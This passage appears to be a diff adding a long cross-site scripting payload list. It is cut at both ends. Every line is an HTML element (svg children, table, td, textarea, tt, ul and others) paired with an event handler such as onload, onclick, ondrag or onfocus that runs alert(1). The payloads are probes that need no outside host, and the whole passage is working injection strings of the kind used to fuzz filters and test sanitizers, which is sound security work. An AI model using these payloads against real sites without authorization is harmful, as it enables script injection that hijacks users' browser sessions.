onload=alert(1)></br> +<svg><button onload=alert(1)></button> +<svg><canvas onload=alert(1)></canvas> +<svg><caption onload=alert(1)></caption> +<svg><center onload=alert(1)></center> +<svg><cite onload=alert(1)></cite> +<svg><code onload=alert(1)></code> +<svg><col onload=alert(1)></col> +<svg><colgroup onload=alert(1)></colgroup> +<svg><command onload=alert(1)></command> +<svg><content onload=alert(1)></content> +<svg><data onload=alert(1)></data> +<svg><datalist onload=alert(1)></datalist> +<svg><dd onload=alert(1)></dd> +<svg><del onload=alert(1)></del> +<svg><details onload=alert(1)></details> +<svg><dfn onload=alert(1)></dfn> +<svg><dialog onload=alert(1)></dialog> +<svg><dir onload=alert(1)></dir> +<svg><discard onbegin=alert(1)> +<svg><div onload=alert(1)></div> +<svg><dl onload=alert(1)></dl> +<svg><dt onload=alert(1)></dt> +<svg><element onload=alert(1)></element> +<svg><em onload=alert(1)></em> +<svg><fieldset onload=alert(1)></fieldset> +<svg><figcaption onload=alert(1)></figcaption> +<svg><figure onload=alert(1)></figure> +<svg><font onload=alert(1)></font> +<svg><footer onload=alert(1)></footer> +<svg><form onload=alert(1)></form> +<svg><frameset onload=alert(1)></frameset> +<svg><h1 onload=alert(1)></h1> +<svg><head onload=alert(1)></head> +<svg><header onload=alert(1)></header> +<svg><hgroup onload=alert(1)></hgroup> +<svg><hr onload=alert(1)></hr> +<svg><html onload=alert(1)></html> +<svg><i onload=alert(1)></i> +<svg><image href=1 onerror=alert(1)> +<svg><image href=validimage.png onload=alert(1)> +<svg><ins onload=alert(1)></ins> +<svg><kbd onload=alert(1)></kbd> +<svg><keygen onload=alert(1)></keygen> +<svg><label onload=alert(1)></label> +<svg><legend onload=alert(1)></legend> +<svg><li onload=alert(1)></li> +<svg><listing onload=alert(1)></listing> +<svg><main onload=alert(1)></main> +<svg><map onload=alert(1)></map> +<svg><mark onload=alert(1)></mark> +<svg><marquee onload=alert(1)></marquee> +<svg><menu onload=alert(1)></menu> +<svg><menuitem onload=alert(1)></menuitem> +<svg><meta onload=alert(1)></meta> +<svg><meter onload=alert(1)></meter> +<svg><multicol onload=alert(1)></multicol> +<svg><nav onload=alert(1)></nav> +<svg><nextid onload=alert(1)></nextid> +<svg><nobr onload=alert(1)></nobr> +<svg><noembed onload=alert(1)></noembed> +<svg><noframes onload=alert(1)></noframes> +<svg><noscript onload=alert(1)></noscript> +<svg><ol onload=alert(1)></ol> +<svg><optgroup onload=alert(1)></optgroup> +<svg><option onload=alert(1)></option> +<svg><output onload=alert(1)></output> +<svg><p onload=alert(1)></p> +<svg><param onload=alert(1)></param> +<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1"> +<svg><path><animateMotion onend=alert(1) dur=1s repeatCount=1> +<svg><path><animateMotion onrepeat=alert(1) dur="1s" repeatCount="2"> +<svg><picture onload=alert(1)></picture> +<svg><plaintext onload=alert(1)></plaintext> +<svg><pre onload=alert(1)></pre> +<svg><progress onload=alert(1)></progress> +<svg><q onload=alert(1)></q> +<svg><rb onload=alert(1)></rb> +<svg><rp onload=alert(1)></rp> +<svg><rt onload=alert(1)></rt> +<svg><rtc onload=alert(1)></rtc> +<svg><ruby onload=alert(1)></ruby> +<svg><s onload=alert(1)></s> +<svg><samp onload=alert(1)></samp> +<svg><section onload=alert(1)></section> +<svg><select onload=alert(1)></select> +<svg><set onbegin=alert(1) attributename=x dur=1s> +<svg><set onend=alert(1) attributename=x dur=1s> +<svg><set onrepeat=alert(1) attributename=x dur=1s repeatcount=2> +<svg><shadow onload=alert(1)></shadow> +<svg><slot onload=alert(1)></slot> +<svg><small onload=alert(1)></small> +<svg><source onload=alert(1)></source> +<svg><spacer onload=alert(1)></spacer> +<svg><span onload=alert(1)></span> +<svg><strike onload=alert(1)></strike> +<svg><strong onload=alert(1)></strong> +<svg><sub onload=alert(1)></sub> +<svg><summary onload=alert(1)></summary> +<svg><sup onload=alert(1)></sup> +<svg><table onload=alert(1)></table> +<svg><tbody onload=alert(1)></tbody> +<svg><td onload=alert(1)></td> +<svg><template onload=alert(1)></template> +<svg><textarea onload=alert(1)></textarea> +<svg><tfoot onload=alert(1)></tfoot> +<svg><th onload=alert(1)></th> +<svg><thead onload=alert(1)></thead> +<svg><time onload=alert(1)></time> +<svg><title onload=alert(1)></title> +<svg><tr onload=alert(1)></tr> +<svg><tt onload=alert(1)></tt> +<svg><u onload=alert(1)></u> +<svg><ul onload=alert(1)></ul> +<svg><var onload=alert(1)></var> +<svg><video onload=alert(1)></video> +<svg><wbr onload=alert(1)></wbr> +<svg><xmp onload=alert(1)></xmp> +<svg><xss onload=alert(1)></xss> +<table draggable="true" ondrag="alert(1)">test</table> +<table draggable="true" ondragend="alert(1)">test</table> +<table draggable="true" ondragenter="alert(1)">test</table> +<table draggable="true" ondragleave="alert(1)">test</table> +<table draggable="true" ondragstart="alert(1)">test</table> +<table id=x tabindex=1 onactivate=alert(1)></table> +<table id=x tabindex=1 onbeforeactivate=alert(1)></table> +<table id=x tabindex=1 onbeforedeactivate=alert(1)></table><input autofocus> +<table id=x tabindex=1 ondeactivate=alert(1)></table><input id=y autofocus> +<table id=x tabindex=1 onfocus=alert(1)></table> +<table id=x tabindex=1 onfocusin=alert(1)></table> +<table onbeforecopy="alert(1)" contenteditable>test</table> +<table onbeforecut="alert(1)" contenteditable>test</table> +<table onbeforepaste="alert(1)" contenteditable>test</table> +<table onblur=alert(1) tabindex=1 id=x></table><input autofocus> +<table onclick="alert(1)">test</table> +<table oncontextmenu="alert(1)">test</table> +<table oncopy="alert(1)" contenteditable>test</table> +<table oncut="alert(1)" contenteditable>test</table> +<table ondblclick="alert(1)">test</table> +<table onfocusout=alert(1) tabindex=1 id=x></table><input autofocus> +<table onkeydown="alert(1)" contenteditable>test</table> +<table onkeypress="alert(1)" contenteditable>test</table> +<table onkeyup="alert(1)" contenteditable>test</table> +<table onmousedown="alert(1)">test</table> +<table onmouseenter="alert(1)">test</table> +<table onmouseleave="alert(1)">test</table> +<table onmousemove="alert(1)">test</table> +<table onmouseout="alert(1)">test</table> +<table onmouseover="alert(1)">test</table> +<table onmouseup="alert(1)">test</table> +<table onpaste="alert(1)" contenteditable>test</table> +<tbody draggable="true" ondrag="alert(1)">test</tbody> +<tbody draggable="true" ondragend="alert(1)">test</tbody> +<tbody draggable="true" ondragenter="alert(1)">test</tbody> +<tbody draggable="true" ondragleave="alert(1)">test</tbody> +<tbody draggable="true" ondragstart="alert(1)">test</tbody> +<tbody id=x tabindex=1 onactivate=alert(1)></tbody> +<tbody id=x tabindex=1 onbeforeactivate=alert(1)></tbody> +<tbody id=x tabindex=1 onbeforedeactivate=alert(1)></tbody><input autofocus> +<tbody id=x tabindex=1 ondeactivate=alert(1)></tbody><input id=y autofocus> +<tbody id=x tabindex=1 onfocus=alert(1)></tbody> +<tbody id=x tabindex=1 onfocusin=alert(1)></tbody> +<tbody onbeforecopy="alert(1)" contenteditable>test</tbody> +<tbody onbeforecut="alert(1)" contenteditable>test</tbody> +<tbody onbeforepaste="alert(1)" contenteditable>test</tbody> +<tbody onblur=alert(1) tabindex=1 id=x></tbody><input autofocus> +<tbody onclick="alert(1)">test</tbody> +<tbody oncontextmenu="alert(1)">test</tbody> +<tbody oncopy="alert(1)" contenteditable>test</tbody> +<tbody oncut="alert(1)" contenteditable>test</tbody> +<tbody ondblclick="alert(1)">test</tbody> +<tbody onfocusout=alert(1) tabindex=1 id=x></tbody><input autofocus> +<tbody onkeydown="alert(1)" contenteditable>test</tbody> +<tbody onkeypress="alert(1)" contenteditable>test</tbody> +<tbody onkeyup="alert(1)" contenteditable>test</tbody> +<tbody onmousedown="alert(1)">test</tbody> +<tbody onmouseenter="alert(1)">test</tbody> +<tbody onmouseleave="alert(1)">test</tbody> +<tbody onmousemove="alert(1)">test</tbody> +<tbody onmouseout="alert(1)">test</tbody> +<tbody onmouseover="alert(1)">test</tbody> +<tbody onmouseup="alert(1)">test</tbody> +<tbody onpaste="alert(1)" contenteditable>test</tbody> +<td draggable="true" ondrag="alert(1)">test</td> +<td draggable="true" ondragend="alert(1)">test</td> +<td draggable="true" ondragenter="alert(1)">test</td> +<td draggable="true" ondragleave="alert(1)">test</td> +<td draggable="true" ondragstart="alert(1)">test</td> +<td id=x tabindex=1 onactivate=alert(1)></td> +<td id=x tabindex=1 onbeforeactivate=alert(1)></td> +<td id=x tabindex=1 onbeforedeactivate=alert(1)></td><input autofocus> +<td id=x tabindex=1 ondeactivate=alert(1)></td><input id=y autofocus> +<td id=x tabindex=1 onfocus=alert(1)></td> +<td id=x tabindex=1 onfocusin=alert(1)></td> +<td onbeforecopy="alert(1)" contenteditable>test</td> +<td onbeforecut="alert(1)" contenteditable>test</td> +<td onbeforepaste="alert(1)" contenteditable>test</td> +<td onblur=alert(1) tabindex=1 id=x></td><input autofocus> +<td onclick="alert(1)">test</td> +<td oncontextmenu="alert(1)">test</td> +<td oncopy="alert(1)" contenteditable>test</td> +<td oncut="alert(1)" contenteditable>test</td> +<td ondblclick="alert(1)">test</td> +<td onfocusout=alert(1) tabindex=1 id=x></td><input autofocus> +<td onkeydown="alert(1)" contenteditable>test</td> +<td onkeypress="alert(1)" contenteditable>test</td> +<td onkeyup="alert(1)" contenteditable>test</td> +<td onmousedown="alert(1)">test</td> +<td onmouseenter="alert(1)">test</td> +<td onmouseleave="alert(1)">test</td> +<td onmousemove="alert(1)">test</td> +<td onmouseout="alert(1)">test</td> +<td onmouseover="alert(1)">test</td> +<td onmouseup="alert(1)">test</td> +<td onpaste="alert(1)" contenteditable>test</td> +<template draggable="true" ondrag="alert(1)">test</template> +<template draggable="true" ondragend="alert(1)">test</template> +<template draggable="true" ondragenter="alert(1)">test</template> +<template draggable="true" ondragleave="alert(1)">test</template> +<template draggable="true" ondragstart="alert(1)">test</template> +<template id=x tabindex=1 onactivate=alert(1)></template> +<template id=x tabindex=1 onbeforeactivate=alert(1)></template> +<template id=x tabindex=1 onbeforedeactivate=alert(1)></template><input autofocus> +<template id=x tabindex=1 ondeactivate=alert(1)></template><input id=y autofocus> +<template id=x tabindex=1 onfocus=alert(1)></template> +<template id=x tabindex=1 onfocusin=alert(1)></template> +<template onbeforecopy="alert(1)" contenteditable>test</template> +<template onbeforecut="alert(1)" contenteditable>test</template> +<template onbeforepaste="alert(1)" contenteditable>test</template> +<template onblur=alert(1) tabindex=1 id=x></template><input autofocus> +<template onclick="alert(1)">test</template> +<template oncontextmenu="alert(1)">test</template> +<template oncopy="alert(1)" contenteditable>test</template> +<template oncut="alert(1)" contenteditable>test</template> +<template ondblclick="alert(1)">test</template> +<template onfocusout=alert(1) tabindex=1 id=x></template><input autofocus> +<template onkeydown="alert(1)" contenteditable>test</template> +<template onkeypress="alert(1)" contenteditable>test</template> +<template onkeyup="alert(1)" contenteditable>test</template> +<template onmousedown="alert(1)">test</template> +<template onmouseenter="alert(1)">test</template> +<template onmouseleave="alert(1)">test</template> +<template onmousemove="alert(1)">test</template> +<template onmouseout="alert(1)">test</template> +<template onmouseover="alert(1)">test</template> +<template onmouseup="alert(1)">test</template> +<template onpaste="alert(1)" contenteditable>test</template> +<textarea autofocus onfocus=alert(1)>test</textarea> +<textarea autofocus onfocusin=alert(1)>test</textarea> +<textarea draggable="true" ondrag="alert(1)">test</textarea> +<textarea draggable="true" ondragend="alert(1)">test</textarea> +<textarea draggable="true" ondragenter="alert(1)">test</textarea> +<textarea draggable="true" ondragleave="alert(1)">test</textarea> +<textarea draggable="true" ondragstart="alert(1)">test</textarea> +<textarea id=x tabindex=1 onactivate=alert(1)></textarea> +<textarea id=x tabindex=1 onbeforeactivate=alert(1)></textarea> +<textarea id=x tabindex=1 onbeforedeactivate=alert(1)></textarea><input autofocus> +<textarea id=x tabindex=1 ondeactivate=alert(1)></textarea><input id=y autofocus> +<textarea onauxclick=alert(1)>XSS</textarea> +<textarea onbeforecopy=alert(1) autofocus>XSS</textarea> +<textarea onbeforecut=alert(1) autofocus>XSS</textarea> +<textarea onbeforepaste=alert(1) autofocus></textarea> +<textarea onblur=alert(1) id=x></textarea><input autofocus> +<textarea onchange=alert(1)>XSS</textarea> +<textarea onclick="alert(1)">test</textarea> +<textarea oncontextmenu="alert(1)">test</textarea> +<textarea oncopy=alert(1) autofocus>XSS</textarea> +<textarea oncut=alert(1) autofocus>XSS</textarea> +<textarea ondblclick="alert(1)">test</textarea> +<textarea onfocusout=alert(1) id=x></textarea><input autofocus> +<textarea oninput=alert(1)>XSS</textarea> +<textarea onkeydown="alert(1)" contenteditable>test</textarea> +<textarea onkeypress="alert(1)" contenteditable>test</textarea> +<textarea onkeyup="alert(1)" contenteditable>test</textarea> +<textarea onmousedown="alert(1)">test</textarea> +<textarea onmouseenter="alert(1)">test</textarea> +<textarea onmouseleave="alert(1)">test</textarea> +<textarea onmousemove="alert(1)">test</textarea> +<textarea onmouseout="alert(1)">test</textarea> +<textarea onmouseover="alert(1)">test</textarea> +<textarea onmouseup="alert(1)">test</textarea> +<textarea onpaste=alert(1) autofocus></textarea> +<textarea onselect=alert(1) autofocus>XSS</textarea> +<tfoot draggable="true" ondrag="alert(1)">test</tfoot> +<tfoot draggable="true" ondragend="alert(1)">test</tfoot> +<tfoot draggable="true" ondragenter="alert(1)">test</tfoot> +<tfoot draggable="true" ondragleave="alert(1)">test</tfoot> +<tfoot draggable="true" ondragstart="alert(1)">test</tfoot> +<tfoot id=x tabindex=1 onactivate=alert(1)></tfoot> +<tfoot id=x tabindex=1 onbeforeactivate=alert(1)></tfoot> +<tfoot id=x tabindex=1 onbeforedeactivate=alert(1)></tfoot><input autofocus> +<tfoot id=x tabindex=1 ondeactivate=alert(1)></tfoot><input id=y autofocus> +<tfoot id=x tabindex=1 onfocus=alert(1)></tfoot> +<tfoot id=x tabindex=1 onfocusin=alert(1)></tfoot> +<tfoot onbeforecopy="alert(1)" contenteditable>test</tfoot> +<tfoot onbeforecut="alert(1)" contenteditable>test</tfoot> +<tfoot onbeforepaste="alert(1)" contenteditable>test</tfoot> +<tfoot onblur=alert(1) tabindex=1 id=x></tfoot><input autofocus> +<tfoot onclick="alert(1)">test</tfoot> +<tfoot oncontextmenu="alert(1)">test</tfoot> +<tfoot oncopy="alert(1)" contenteditable>test</tfoot> +<tfoot oncut="alert(1)" contenteditable>test</tfoot> +<tfoot ondblclick="alert(1)">test</tfoot> +<tfoot onfocusout=alert(1) tabindex=1 id=x></tfoot><input autofocus> +<tfoot onkeydown="alert(1)" contenteditable>test</tfoot> +<tfoot onkeypress="alert(1)" contenteditable>test</tfoot> +<tfoot onkeyup="alert(1)" contenteditable>test</tfoot> +<tfoot onmousedown="alert(1)">test</tfoot> +<tfoot onmouseenter="alert(1)">test</tfoot> +<tfoot onmouseleave="alert(1)">test</tfoot> +<tfoot onmousemove="alert(1)">test</tfoot> +<tfoot onmouseout="alert(1)">test</tfoot> +<tfoot onmouseover="alert(1)">test</tfoot> +<tfoot onmouseup="alert(1)">test</tfoot> +<tfoot onpaste="alert(1)" contenteditable>test</tfoot> +<th draggable="true" ondrag="alert(1)">test</th> +<th draggable="true" ondragend="alert(1)">test</th> +<th draggable="true" ondragenter="alert(1)">test</th> +<th draggable="true" ondragleave="alert(1)">test</th> +<th draggable="true" ondragstart="alert(1)">test</th> +<th id=x tabindex=1 onactivate=alert(1)></th> +<th id=x tabindex=1 onbeforeactivate=alert(1)></th> +<th id=x tabindex=1 onbeforedeactivate=alert(1)></th><input autofocus> +<th id=x tabindex=1 ondeactivate=alert(1)></th><input id=y autofocus> +<th id=x tabindex=1 onfocus=alert(1)></th> +<th id=x tabindex=1 onfocusin=alert(1)></th> +<th onbeforecopy="alert(1)" contenteditable>test</th> +<th onbeforecut="alert(1)" contenteditable>test</th> +<th onbeforepaste="alert(1)" contenteditable>test</th> +<th onblur=alert(1) tabindex=1 id=x></th><input autofocus> +<th onclick="alert(1)">test</th> +<th oncontextmenu="alert(1)">test</th> +<th oncopy="alert(1)" contenteditable>test</th> +<th oncut="alert(1)" contenteditable>test</th> +<th ondblclick="alert(1)">test</th> +<th onfocusout=alert(1) tabindex=1 id=x></th><input autofocus> +<th onkeydown="alert(1)" contenteditable>test</th> +<th onkeypress="alert(1)" contenteditable>test</th> +<th onkeyup="alert(1)" contenteditable>test</th> +<th onmousedown="alert(1)">test</th> +<th onmouseenter="alert(1)">test</th> +<th onmouseleave="alert(1)">test</th> +<th onmousemove="alert(1)">test</th> +<th onmouseout="alert(1)">test</th> +<th onmouseover="alert(1)">test</th> +<th onmouseup="alert(1)">test</th> +<th onpaste="alert(1)" contenteditable>test</th> +<thead draggable="true" ondrag="alert(1)">test</thead> +<thead draggable="true" ondragend="alert(1)">test</thead> +<thead draggable="true" ondragenter="alert(1)">test</thead> +<thead draggable="true" ondragleave="alert(1)">test</thead> +<thead draggable="true" ondragstart="alert(1)">test</thead> +<thead id=x tabindex=1 onactivate=alert(1)></thead> +<thead id=x tabindex=1 onbeforeactivate=alert(1)></thead> +<thead id=x tabindex=1 onbeforedeactivate=alert(1)></thead><input autofocus> +<thead id=x tabindex=1 ondeactivate=alert(1)></thead><input id=y autofocus> +<thead id=x tabindex=1 onfocus=alert(1)></thead> +<thead id=x tabindex=1 onfocusin=alert(1)></thead> +<thead onbeforecopy="alert(1)" contenteditable>test</thead> +<thead onbeforecut="alert(1)" contenteditable>test</thead> +<thead onbeforepaste="alert(1)" contenteditable>test</thead> +<thead onblur=alert(1) tabindex=1 id=x></thead><input autofocus> +<thead onclick="alert(1)">test</thead> +<thead oncontextmenu="alert(1)">test</thead> +<thead oncopy="alert(1)" contenteditable>test</thead> +<thead oncut="alert(1)" contenteditable>test</thead> +<thead ondblclick="alert(1)">test</thead> +<thead onfocusout=alert(1) tabindex=1 id=x></thead><input autofocus> +<thead onkeydown="alert(1)" contenteditable>test</thead> +<thead onkeypress="alert(1)" contenteditable>test</thead> +<thead onkeyup="alert(1)" contenteditable>test</thead> +<thead onmousedown="alert(1)">test</thead> +<thead onmouseenter="alert(1)">test</thead> +<thead onmouseleave="alert(1)">test</thead> +<thead onmousemove="alert(1)">test</thead> +<thead onmouseout="alert(1)">test</thead> +<thead onmouseover="alert(1)">test</thead> +<thead onmouseup="alert(1)">test</thead> +<thead onpaste="alert(1)" contenteditable>test</thead> +<time draggable="true" ondrag="alert(1)">test</time> +<time draggable="true" ondragend="alert(1)">test</time> +<time draggable="true" ondragenter="alert(1)">test</time> +<time draggable="true" ondragleave="alert(1)">test</time> +<time draggable="true" ondragstart="alert(1)">test</time> +<time id=x tabindex=1 onactivate=alert(1)></time> +<time id=x tabindex=1 onbeforeactivate=alert(1)></time> +<time id=x tabindex=1 onbeforedeactivate=alert(1)></time><input autofocus> +<time id=x tabindex=1 ondeactivate=alert(1)></time><input id=y autofocus> +<time id=x tabindex=1 onfocus=alert(1)></time> +<time id=x tabindex=1 onfocusin=alert(1)></time> +<time onbeforecopy="alert(1)" contenteditable>test</time> +<time onbeforecut="alert(1)" contenteditable>test</time> +<time onbeforepaste="alert(1)" contenteditable>test</time> +<time onblur=alert(1) tabindex=1 id=x></time><input autofocus> +<time onclick="alert(1)">test</time> +<time oncontextmenu="alert(1)">test</time> +<time oncopy="alert(1)" contenteditable>test</time> +<time oncut="alert(1)" contenteditable>test</time> +<time ondblclick="alert(1)">test</time> +<time onfocusout=alert(1) tabindex=1 id=x></time><input autofocus> +<time onkeydown="alert(1)" contenteditable>test</time> +<time onkeypress="alert(1)" contenteditable>test</time> +<time onkeyup="alert(1)" contenteditable>test</time> +<time onmousedown="alert(1)">test</time> +<time onmouseenter="alert(1)">test</time> +<time onmouseleave="alert(1)">test</time> +<time onmousemove="alert(1)">test</time> +<time onmouseout="alert(1)">test</time> +<time onmouseover="alert(1)">test</time> +<time onmouseup="alert(1)">test</time> +<time onpaste="alert(1)" contenteditable>test</time> +<title draggable="true" ondrag="alert(1)">test</title> +<title draggable="true" ondragend="alert(1)">test</title> +<title draggable="true" ondragenter="alert(1)">test</title> +<title draggable="true" ondragleave="alert(1)">test</title> +<title draggable="true" ondragstart="alert(1)">test</title> +<title id=x tabindex=1 onactivate=alert(1)></title> +<title id=x tabindex=1 onbeforeactivate=alert(1)></title> +<title id=x tabindex=1 onbeforedeactivate=alert(1)></title><input autofocus> +<title id=x tabindex=1 ondeactivate=alert(1)></title><input id=y autofocus> +<title id=x tabindex=1 onfocus=alert(1)></title> +<title id=x tabindex=1 onfocusin=alert(1)></title> +<title onbeforecopy="alert(1)" contenteditable>test</title> +<title onbeforecut="alert(1)" contenteditable>test</title> +<title onbeforepaste="alert(1)" contenteditable>test</title> +<title onblur=alert(1) tabindex=1 id=x></title><input autofocus> +<title onclick="alert(1)">test</title> +<title oncontextmenu="alert(1)">test</title> +<title oncopy="alert(1)" contenteditable>test</title> +<title oncut="alert(1)" contenteditable>test</title> +<title ondblclick="alert(1)">test</title> +<title onfocusout=alert(1) tabindex=1 id=x></title><input autofocus> +<title onkeydown="alert(1)" contenteditable>test</title> +<title onkeypress="alert(1)" contenteditable>test</title> +<title onkeyup="alert(1)" contenteditable>test</title> +<title onmousedown="alert(1)">test</title> +<title onmouseenter="alert(1)">test</title> +<title onmouseleave="alert(1)">test</title> +<title onmousemove="alert(1)">test</title> +<title onmouseout="alert(1)">test</title> +<title onmouseover="alert(1)">test</title> +<title onmouseup="alert(1)">test</title> +<title onpaste="alert(1)" contenteditable>test</title> +<tr draggable="true" ondrag="alert(1)">test</tr> +<tr draggable="true" ondragend="alert(1)">test</tr> +<tr draggable="true" ondragenter="alert(1)">test</tr> +<tr draggable="true" ondragleave="alert(1)">test</tr> +<tr draggable="true" ondragstart="alert(1)">test</tr> +<tr id=x tabindex=1 onactivate=alert(1)></tr> +<tr id=x tabindex=1 onbeforeactivate=alert(1)></tr> +<tr id=x tabindex=1 onbeforedeactivate=alert(1)></tr><input autofocus> +<tr id=x tabindex=1 ondeactivate=alert(1)></tr><input id=y autofocus> +<tr id=x tabindex=1 onfocus=alert(1)></tr> +<tr id=x tabindex=1 onfocusin=alert(1)></tr> +<tr onbeforecopy="alert(1)" contenteditable>test</tr> +<tr onbeforecut="alert(1)" contenteditable>test</tr> +<tr onbeforepaste="alert(1)" contenteditable>test</tr> +<tr onblur=alert(1) tabindex=1 id=x></tr><input autofocus> +<tr onclick="alert(1)">test</tr> +<tr oncontextmenu="alert(1)">test</tr> +<tr oncopy="alert(1)" contenteditable>test</tr> +<tr oncut="alert(1)" contenteditable>test</tr> +<tr ondblclick="alert(1)">test</tr> +<tr onfocusout=alert(1) tabindex=1 id=x></tr><input autofocus> +<tr onkeydown="alert(1)" contenteditable>test</tr> +<tr onkeypress="alert(1)" contenteditable>test</tr> +<tr onkeyup="alert(1)" contenteditable>test</tr> +<tr onmousedown="alert(1)">test</tr> +<tr onmouseenter="alert(1)">test</tr> +<tr onmouseleave="alert(1)">test</tr> +<tr onmousemove="alert(1)">test</tr> +<tr onmouseout="alert(1)">test</tr> +<tr onmouseover="alert(1)">test</tr> +<tr onmouseup="alert(1)">test</tr> +<tr onpaste="alert(1)" contenteditable>test</tr> +<track draggable="true" ondrag="alert(1)">test</track> +<track draggable="true" ondragend="alert(1)">test</track> +<track draggable="true" ondragenter="alert(1)">test</track> +<track draggable="true" ondragleave="alert(1)">test</track> +<track draggable="true" ondragstart="alert(1)">test</track> +<track id=x tabindex=1 onactivate=alert(1)></track> +<track id=x tabindex=1 onbeforeactivate=alert(1)></track> +<track id=x tabindex=1 onbeforedeactivate=alert(1)></track><input autofocus> +<track id=x tabindex=1 ondeactivate=alert(1)></track><input id=y autofocus> +<track id=x tabindex=1 onfocus=alert(1)></track> +<track id=x tabindex=1 onfocusin=alert(1)></track> +<track onbeforecopy="alert(1)" contenteditable>test</track> +<track onbeforecut="alert(1)" contenteditable>test</track> +<track onbeforepaste="alert(1)" contenteditable>test</track> +<track onblur=alert(1) tabindex=1 id=x></track><input autofocus> +<track onclick="alert(1)">test</track> +<track oncontextmenu="alert(1)">test</track> +<track oncopy="alert(1)" contenteditable>test</track> +<track oncut="alert(1)" contenteditable>test</track> +<track ondblclick="alert(1)">test</track> +<track onfocusout=alert(1) tabindex=1 id=x></track><input autofocus> +<track onkeydown="alert(1)" contenteditable>test</track> +<track onkeypress="alert(1)" contenteditable>test</track> +<track onkeyup="alert(1)" contenteditable>test</track> +<track onmousedown="alert(1)">test</track> +<track onmouseenter="alert(1)">test</track> +<track onmouseleave="alert(1)">test</track> +<track onmousemove="alert(1)">test</track> +<track onmouseout="alert(1)">test</track> +<track onmouseover="alert(1)">test</track> +<track onmouseup="alert(1)">test</track> +<track onpaste="alert(1)" contenteditable>test</track> +<tt draggable="true" ondrag="alert(1)">test</tt> +<tt draggable="true" ondragend="alert(1)">test</tt> +<tt draggable="true" ondragenter="alert(1)">test</tt> +<tt draggable="true" ondragleave="alert(1)">test</tt> +<tt draggable="true" ondragstart="alert(1)">test</tt> +<tt id=x tabindex=1 onactivate=alert(1)></tt> +<tt id=x tabindex=1 onbeforeactivate=alert(1)></tt> +<tt id=x tabindex=1 onbeforedeactivate=alert(1)></tt><input autofocus> +<tt id=x tabindex=1 ondeactivate=alert(1)></tt><input id=y autofocus> +<tt id=x tabindex=1 onfocus=alert(1)></tt> +<tt id=x tabindex=1 onfocusin=alert(1)></tt> +<tt onbeforecopy="alert(1)" contenteditable>test</tt> +<tt onbeforecut="alert(1)" contenteditable>test</tt> +<tt onbeforepaste="alert(1)" contenteditable>test</tt> +<tt onblur=alert(1) tabindex=1 id=x></tt><input autofocus> +<tt onclick="alert(1)">test</tt> +<tt oncontextmenu="alert(1)">test</tt> +<tt oncopy="alert(1)" contenteditable>test</tt> +<tt oncut="alert(1)" contenteditable>test</tt> +<tt ondblclick="alert(1)">test</tt> +<tt onfocusout=alert(1) tabindex=1 id=x></tt><input autofocus> +<tt onkeydown="alert(1)" contenteditable>test</tt> +<tt onkeypress="alert(1)" contenteditable>test</tt> +<tt onkeyup="alert(1)" contenteditable>test</tt> +<tt onmousedown="alert(1)">test</tt> +<tt onmouseenter="alert(1)">test</tt> +<tt onmouseleave="alert(1)">test</tt> +<tt onmousemove="alert(1)">test</tt> +<tt onmouseout="alert(1)">test</tt> +<tt onmouseover="alert(1)">test</tt> +<tt onmouseup="alert(1)">test</tt> +<tt onpaste="alert(1)" contenteditable>test</tt> +<u draggable="true" ondrag="alert(1)">test</u> +<u draggable="true" ondragend="alert(1)">test</u> +<u draggable="true" ondragenter="alert(1)">test</u> +<u draggable="true" ondragleave="alert(1)">test</u> +<u draggable="true" ondragstart="alert(1)">test</u> +<u id=x tabindex=1 onactivate=alert(1)></u> +<u id=x tabindex=1 onbeforeactivate=alert(1)></u> +<u id=x tabindex=1 onbeforedeactivate=alert(1)></u><input autofocus> +<u id=x tabindex=1 ondeactivate=alert(1)></u><input id=y autofocus> +<u id=x tabindex=1 onfocus=alert(1)></u> +<u id=x tabindex=1 onfocusin=alert(1)></u> +<u onbeforecopy="alert(1)" contenteditable>test</u> +<u onbeforecut="alert(1)" contenteditable>test</u> +<u onbeforepaste="alert(1)" contenteditable>test</u> +<u onblur=alert(1) tabindex=1 id=x></u><input autofocus> +<u onclick="alert(1)">test</u> +<u oncontextmenu="alert(1)">test</u> +<u oncopy="alert(1)" contenteditable>test</u> +<u oncut="alert(1)" contenteditable>test</u> +<u ondblclick="alert(1)">test</u> +<u onfocusout=alert(1) tabindex=1 id=x></u><input autofocus> +<u onkeydown="alert(1)" contenteditable>test</u> +<u onkeypress="alert(1)" contenteditable>test</u> +<u onkeyup="alert(1)" contenteditable>test</u> +<u onmousedown="alert(1)">test</u> +<u onmouseenter="alert(1)">test</u> +<u onmouseleave="alert(1)">test</u> +<u onmousemove="alert(1)">test</u> +<u onmouseout="alert(1)">test</u> +<u onmouseover="alert(1)">test</u> +<u onmouseup="alert(1)">test</u> +<u onpaste="alert(1)" contenteditable>test</u> +<ul draggable="true" ondrag="alert(1)">test</ul> +<ul draggable="true" ondragend="alert(1)">test</ul> +<ul draggable="true" ondragenter="alert(1)">test</ul> +<ul draggable="true" ondragleave="alert(1)">test</ul> +<ul draggable="true" ondragstart="alert(1)">test</ul> +<ul id=x tabindex=1 onactivate=alert(1)></ul> +<ul id=x tabindex=1 onbeforeactivate=alert(1)></ul> +<ul id=x tabindex=1 onbeforedeactivate=alert(1)></ul><input autofocus> +<ul id=x tabindex=1 ondeactivate=alert(1)></ul><input id=y autofocus> +<ul id=x tabindex=1 onfocus=alert(1)></ul> +<ul id=x tabindex=1 onfocusin=alert(1)></ul> +<ul onbeforecopy="alert(1)" contenteditable>test</ul> +<ul onbeforecut="alert(1)" contenteditable>test</ul> +<ul onbeforepaste="alert(1)" contenteditable>test</ul> +<ul onblur=alert(1) tabindex=1 id=x></ul><input autofocus> +<ul onclick="alert(1)">test</ul> +<ul oncontextmenu="alert(1)">test</ul> +<ul oncopy="alert(1)" contenteditable>test</ul> +<ul oncut="alert(1)" contenteditable>test</ul> +<ul ondblclick="alert(1)">test</ul> +<ul onfocusout=alert(1) tabindex=1 id=x></ul><input autofocus> +<ul onkeydown="alert(1)" contenteditable>test</ul> +<ul onkeypress="alert(1)" contenteditable>test</ul> +<ul onkeyup="alert(1)" contenteditable>test</ul> +<ul onmousedown="alert(1)">test</ul> +<ul onmouseenter="alert(1)">test</ul> +<ul onmouseleave="alert(1)">test</ul> +<ul onmousemove="alert(1)">test</ul> +<ul onmouseout="alert(1)">test</ul> +<ul onmouseover="alert(1)">test</ul> +<ul onmouseup="alert(1)">test</ul> +<ul onpaste="alert(1)" contenteditable>test</ul> +<var draggable="true" ondrag="alert(1)">test</var> +<var draggable="true" ondragend="alert(1)">test</var> +<var draggable="true" ondragenter="alert(1)">test</var> +<var 